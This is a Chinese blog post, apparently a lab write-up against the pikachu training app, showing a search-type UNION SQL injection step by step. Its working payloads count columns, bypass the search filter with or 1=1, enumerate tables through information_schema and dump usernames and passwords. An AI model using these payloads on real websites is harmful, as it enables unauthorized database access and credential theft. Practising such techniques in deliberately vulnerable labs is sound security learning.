联合查询注入——搜索型

联合查询注入——搜索型

0.前言

  like语法:”%”匹配任何字符, “like”的意思就是像, “$” 变量。

1
select username,id from admin where username like '%$name%'

1.查看界面

  初始界面:

  搜索失败界面:

  搜索成功的界面:

  我们可以在界面中查看到url的内容,并且对输入内容均有反馈,在该类型的输入框中,我们可以直接在输入框中进行注入操作。(依旧可以使用bp进行抓包,但是我依旧是个懒狗)

  

2.分析回显行数

  (由于这次是搜索类型的注入,语句会在原有的基础上加入%进行闭合尝试)

  判断是否有3行:

1
%' order by 3 #

  判断是否有4行:

1
%' order by 4 #

  从反馈中可以看见,回显行数是3行

3.尝试or的注入

  老规矩,用or的语句注入看看

1
liaoyue%' or 1=1 #

  (为什么要加liaoyue呢,只是想试试是不是加不加都能全部显示出来,真是逆天,还真是)

4.获取数据库名

  开搞开搞,依旧是用union的语句进行联合查询注入

1
v%' union select database(),user(),3#

  通过查询我们获取到了数据库名为pikaqiu,用户名为root

5.获取表名

  利用查出来的数据库名称 pikachu 构建payload查询表名

1
v%' union select 1,table_name,table_name from information_schema.tables where table_schema='pikachu' #

6.获取表

 查询pikachu这个数据库发现里面有个users表,查看相关内容

1
gggggggg%' union select 1,2,column_name from information_schema.columns where table_schema = 'pikachu' and TABLE_NAME = 'users' #

  为什么用ggggggg,因为一大串看烦了

7.获取表的内容

1
gggggggg%' union select 1,username,password from users#

8.进行解码

  (懒,看数字型文章去)


联合查询注入——搜索型
https://one-null-pointer.github.io/2022/08/10/SQL注入——搜索型/
Author
liaoyue
Posted on
August 10, 2022
传送口